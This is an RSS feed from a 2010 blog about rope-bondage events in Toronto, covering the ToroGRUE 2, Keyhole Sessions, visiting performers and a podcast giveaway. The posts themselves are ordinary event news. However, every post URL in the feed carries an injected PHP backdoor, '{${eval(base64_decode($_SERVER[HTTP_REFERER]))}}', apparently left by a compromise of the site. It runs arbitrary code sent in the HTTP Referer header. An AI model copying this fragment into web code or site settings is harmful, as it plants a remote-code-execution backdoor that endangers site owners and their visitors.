The Control Enthusiast » Rope http://www.thecontrolenthusiast.com Tue, 27 Jul 2010 16:55:48 +0000 http://wordpress.org/?v=2.8.5 en hourly 1 After A While, Again. http://www.thecontrolenthusiast.com/2010/05/27/after-a-while-again/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/05/27/after-a-while-again/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 27 May 2010 04:12:38 +0000 control http://www.thecontrolenthusiast.com/?p=630 Wow, so, since April 27th…

The ToroGRUE 2 happened. After a lively meet & greet Friday night, Saturday was a day full of amazing discussions from a mix of brilliant minds. Sunday, lots of pancakes happened, made by Men in Kilts, followed by a little bit more GRUEing. I don’t think any of us were expecting the Sunday session to continue quite as it did, but I for one loved it. Graydancer has a post up about his impressions of this GRUE – the second in Toronto, and certainly not the last – as well as what I think might be the best picture of him and I I’ve seen to date:

Men In Kilts With Kitchen Implements

Men In Kilts With Kitchen Implements

Our first ever Girls on Film Keyhole Session happened. Lots of fantastic shots came out of that night. A sure success, and one we’ll for sure be repeating. I had a LOT of fun, tying for Keyhole in a way I don’t often get a chance to. Fast, and for restraint as opposed to purely aesthetics. A pretty complete collection of shots from that night can be found here One of my favourite shots of the evening, below, was taken by VoulaVous and I think is simply lovely.

The following week The Keyhole Sessions and Art Battle Toronto teamed up for Art Battle 6. The final Battle of that night was two artists painting two of our models. I tied in front of the Art Battle crowd… not sure what they were expecting but they were certainly paying attention. Sonya shot a video of me tying, which is good as it shows the crowd around us but I still find it very strange watching myself tie on video.

As a result of my work with The Keyhole Sessions I’ve been invited to give a workshop on Tying the Female Form as part of Kinky4Play. That’s happening mid-August. I’ll post more details as they come up.

I discovered a new online artist (thanks to a blog post by Violet Blue) whose work I admire and am following with great interest. Ben Newman keeps a blog at bennewmanart.blogspot.com and is very much worth a look. Here’s a sample piece of his. (I am such a fan of the red rope in this.)

Handle with Care by Ben Newman

"Handle with Care" by Ben Newman

Part of the Sunday session at the GRUE was a discussion I led (after making many pancakes and watching Graydancer wrassle with my partner A.) on Philosophies of Service. I’m expanding that with more notes and thoughts, with the idea of eventually turning it into a class. Yes, I’d like to get on that touring circuit. But I don’t feel any great need to get on that circuit as a rope educator. At least, not at this moment. Who knows, that may change with time.

]]> http://www.thecontrolenthusiast.com/2010/05/27/after-a-while-again/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 ToroGRUE 2 Information http://www.thecontrolenthusiast.com/2010/04/27/torogrue-2-information/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/04/27/torogrue-2-information/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 28 Apr 2010 03:28:21 +0000 control http://www.thecontrolenthusiast.com/?p=626 torogruebannerred

Just an update for all current – and potential! – ToroGRUE 2 participants. We’ll be holding our meet & greet on Friday night at the Rhino, 1249 Queen Street West in Toronto. Here’s a Google Maps link to the location (http://vb.ly/2822) and a link to the restaurant’s website (http://therhino.ca/contents.html). I’ll be reachable by email the whole time, for those who might need directional help.

Graydancer and I will be there as of 7pm, and we’ll grab a table near the back of the restaurant. Look for us towards the right-hand side, near the back. I’ll have a coil of red rope on the table, just so you know exactly where to go! We’ll wrap the meet & greet up around 9pm, giving us enough time to rest up and do some last-minute preparing before kicking the ToroGRUE off at 9am Saturday morning.

We still have a lot of space left at the GRUE this year. In some ways it’s a bit of a hard sell, trying to get people out to participate and not just absorb knowledge. If you know of anyone who might be interested in attending, please do feel free to forward this email to them. They don’t have to pre-register – we can accept payment at the door. I’ve said it before – the more brains we have out the better the event will be.

Thanks again to all of you who are coming out. I’m really looking forward to it this year.

]]> http://www.thecontrolenthusiast.com/2010/04/27/torogrue-2-information/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 From the Keyhole: Over the Knee, with Madison Young http://www.thecontrolenthusiast.com/2010/04/12/from-the-keyhole-over-the-knee-with-madison-young/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/04/12/from-the-keyhole-over-the-knee-with-madison-young/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 13 Apr 2010 01:30:43 +0000 control http://www.thecontrolenthusiast.com/?p=621

A pic from last week’s Keyhole Session, featuring Madison Young and Dylan Ryan posing and playing to a packed house. Thanks, as always, to Nathaniel for grabbing the shot.
This month at Keyhole we’re doing something a little special. Our first contest, TEASE, happens all through April, a celebration of moving out of the dour long winter. Each time you show up to a session, your name gets entered into a draw for one of three prizes. Bring someone new with you, your name goes in again. Show up for all FOUR weeks in April, and you get a third extra chance. Full rules and the list of prizes can be found at TheKeyholeSessions.com.

]]> http://www.thecontrolenthusiast.com/2010/04/12/from-the-keyhole-over-the-knee-with-madison-young/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 From the Keyhole: Backstage in the dark http://www.thecontrolenthusiast.com/2010/04/01/from-the-keyhole-backstage-in-the-dark/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/04/01/from-the-keyhole-backstage-in-the-dark/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 02 Apr 2010 03:33:11 +0000 control http://www.thecontrolenthusiast.com/?p=616 TKS42_backstage_AJ
Thanks to Nathaniel for the pic & AJ for standing still

]]> http://www.thecontrolenthusiast.com/2010/04/01/from-the-keyhole-backstage-in-the-dark/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Madison Young in Toronto http://www.thecontrolenthusiast.com/2010/03/14/madison-young-in-toronto/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/03/14/madison-young-in-toronto/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 14 Mar 2010 22:17:41 +0000 control http://www.thecontrolenthusiast.com/?p=591 Madison Young in Toronto
Last year around this time I had the pleasure of working with Madison Young for the first time, organizing her workshop “The Zen Submissive” at Northbound Leather, while she was here attending the 2009 Feminist Porn Awards. When I heard from the lovely people at Good For Her that Madison was going to be back in Toronto this year for the Awards, I didn’t waste much time in getting in touch with her and finding out if she’d be interested in working with me again to set up some appearances and events while she’s in town.
And, well, happily, yes.
Firstly, and this is very exciting for me, Madison will be appearing as one of our models for The Keyhole Sessions on Tuesday, April 6th. She’ll be on stage with Dylan Ryan – a combination I believe will make for a VERY interesting evening.
The next night I’ve arranged for Madison to host a presentation and discussion on Feminism and Submission at Café Taste, a fantastic wine bar here in Parkdale, in Toronto. It’ll be a couple hours of chatting and snacking and drinking, with some presentation material besides. Click on the link above for more info.
Thursday and Friday of that week are, of course, the 2010 Feminist Porn Awards. Which you should go to.
Saturday afternoon Madison is giving a workshop at Northbound Leather around puppy and pony play. Check the event page here for more info and a very cute picture of Madison the puppy. That workshop starts at 2pm, so even if you were out late the night before at the FPA’s after party, you can still make it (mostly) intact.
And all that in one week!
And that’s not even all.
More to come.

]]> http://www.thecontrolenthusiast.com/2010/03/14/madison-young-in-toronto/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Tonight! http://www.thecontrolenthusiast.com/2010/02/25/tonight-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/02/25/tonight-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 25 Feb 2010 19:18:23 +0000 control http://www.thecontrolenthusiast.com/?p=540
sexmatters_banner

Another fun bit of publicity for myself and The Keyhole Sessions! We will be appearing on tonight’s episode of Sex Matters, hosted by my old friend Cynthia Loyst.
Our appearance on her show came about pretty smoothly, and relatively quickly. I found Cynthia’s Twitter account (@sexmatterstv) through a re-tweet from the Madame a couple weeks ago. I’d appeared on another show for her a few years ago, talking about my sexual history & philosophy along with others. That was a lot of fun, and very in line with the sort of conversations she and I usuall have, so it was something I’d always known I’d like to do again. So obviously once I realized this was Cynthia’s show, I DM’d her on Twitter and asked if she’d be interested in doing a story on Keyhole. The response was quick, and positive, so we started to set it all up.
Cynthia came by the Sessions this past Tuesday night, to interview the Madame and myself about putting the Keyhole Sessions together, as well as ask me a couple of things about why I love rope bondage so much (argh, talking on camera, I have to get better at that…). Besides being interrupted MORE than once by a very annoying fire alarm (thanks to the smoke machine being used in the other room at the Great Hall), the shooting came off pretty well. Cynthia stuck around with her cameraman Ramen to shoot some of the actual session and interview some of the artists in attendance, as well as getting footage of me tying both AJ & Dolores backstage. I’m VERY curious to see how that turns out. The fact that I don’t have cable means I won’t be seeing the episode tonight, but soon.
You can check it out on CP24 tonight at 10:30pm, and again on Saturday night on Star TV. Comments are appreciated, here: let me know what you thought of the segment!

]]> http://www.thecontrolenthusiast.com/2010/02/25/tonight-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 From the Keyhole: Beginning http://www.thecontrolenthusiast.com/2010/02/24/from-the-keyhole-beginning/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/02/24/from-the-keyhole-beginning/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 25 Feb 2010 02:29:03 +0000 control http://www.thecontrolenthusiast.com/?p=535
keyhole, backstage tying dolores

Starting the first tie on Dolores for the evening. Click on the picture to see the rest of the shots from the night. As always, thanks go to Nathaniel for the pictures.

]]> http://www.thecontrolenthusiast.com/2010/02/24/from-the-keyhole-beginning/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Graydancer’s Giveaway http://www.thecontrolenthusiast.com/2010/02/24/graydancers-giveaway/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/02/24/graydancers-giveaway/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 25 Feb 2010 01:54:27 +0000 control http://www.thecontrolenthusiast.com/?p=529 My good friend & rope compadre Graydancer of The Ropecast and all sorts of GRUEs (including the ToroGRUE and the ToroGRUE 2) has just launched a new content in conjunction with Monk of TwistedMonk.com in response (as I understand it) from a request from a listener of his podcast.
Gray & Monk will be giving away a 50$ (that’s US dollars, to be clear; a bit of a deal for we Canadians) gift certificate each month for the next four months. Each month has a theme, announced on the Ropecast – and ONLY on the Ropecast, so if you’re not listening to the podcast you’d best start – when the winner from the previous month is also announced. As Gray says in the post about the contest, “In other words, if you don’t listen, you won’t know you won. Or how to win the next one.” Click on the sentence for more complete information about the contest.
There will be other prizes given out each month in recognition of particularly creative or laudable work, but really, the fifty bucks is the big deal here. That’s fifty MORE dollars of rope than you had before. And there’s always room for more rope.
I’ve been thinking for a while of talking with Monk about arranging some kind of starter kit for Keyhole Session participants who might be interested in learning a little more about the kind of work I do on our models. Checking out his site, I imagine something like his Value-Line kit would work nicely. If that’s something any Keyhole readers would be interested in, let me know and I’ll start the conversation and see what I can work out.

]]> http://www.thecontrolenthusiast.com/2010/02/24/graydancers-giveaway/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 The Goodness, Up and Coming http://www.thecontrolenthusiast.com/2010/02/17/the-goodness-up-and-coming/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/02/17/the-goodness-up-and-coming/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 18 Feb 2010 03:23:48 +0000 control http://www.thecontrolenthusiast.com/?p=513 jp_and_dylan_web
Me & Dylan, backstage at the Keyhole Sessions.*

There is something about this year, so far. Lots of good stuff coming my way and it doesn’t seem to be letting up anytime soon. And what I’d said before about not letting opportunities pass me by, that’s still very much in effect.
So.
To start, the Keyhole Sessions continue along as wonderfully as they have been. Our new space at The Great Hall is turning out to be everything we thought it would be for us, and more. The different feeling in the room, seeing new faces almost every class, it’s a fantastic thing to be attached to and I’m SO happy I still am. We have lots of good stuff planned for the rest of the season, so keep checking here & the Keyhole website, as well as our Facebook page. We should also be appearing in some more local media over the next month or so, so keep your eyes open for that. Details to come, as they firm up.
This Saturday I’ll be doing a demo of some ropework and talking up the Sessions at an event called “We Are The Trampions”, happening at Lee’s Palace. Featuring a whole lot of Keyhole Models, both onstage and off, the night is a tribute to all things Queen (as in the band). I’ll be tying on the floor somewhere. If you show up, come by and say hello. If you ask nicely, I might tie you up too. If you ask very nicely.
The end of March sees me leaving the country for a short jaunt, and for something I’m amazingly excited about. I’ve been honoured with an invitation to perform at Madison Young’s Art of Restraint, this March 27th. Dylan Ryan – who I tied for the first time for our Valentine’s Day Keyhole Session, and who is pictured above – and I will be performing…something… for the event, along with Monk from TwistedMonk.com and some other fantastic rope performers. The Art of Restraint takes place at Madison’s gallery, Femina Potens, in San Francisco. I am looking forward to being back there; I feel like I only started exploring the city when I was there for the Folsom Street Fair last September. More exploring. More coffee. More chocolate…
Mmmmm, chocolate.
The week after I get back Toronto plays host to the 5th annual Feminist Porn Awards. I donated some rope & time to a couple of fundraisers for the awards and am very much looking forward to attending, both the pre-awards screenings as well as the awards themselves. Lots of amazing people are coming into town for the event and it’s shaping up to be a very sexy couple of days. I’m also plotting a couple of workshops around that time, featuring some out-of-towners, more of which will be revealed as soon as details firm up.
After the FPA’s are done, then all I have to think about is the ToroGRUE 2. May 1st, at Renegade. I don’t need to say too much more about that. Click the link. Come out on May Day and share your brains with us. The more the better.
I’ve also started thinking more, based on conversations and a growing interest, in doing some small-scale teaching. People have come out of the Keyhole Sessions, or approached me while I’m doing a demo, and asked if I teach ropework. Up to now, I’ve been saying no. It took two people asking me in less than a week to realize that maybe, just maybe, I could be sharing the knowledge. So that’s coming together. Feel free to email me by clicking on the Get Control link in the sidebar if you want to talk sessions or prices.
So yes – a lot going on, and none of it I’d ever dream of passing up. It just keeps going and going and frankly I’m not interested in it stopping. Bring on the opportunities.

*Thanks to Nathaniel for the pic.

]]> http://www.thecontrolenthusiast.com/2010/02/17/the-goodness-up-and-coming/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Helmut Newton, Paris 1977 http://www.thecontrolenthusiast.com/2010/02/02/helmut-newton-paris-1977/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/02/02/helmut-newton-paris-1977/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 02 Feb 2010 15:32:49 +0000 control http://www.thecontrolenthusiast.com/?p=509

From Beautiful and Depraved

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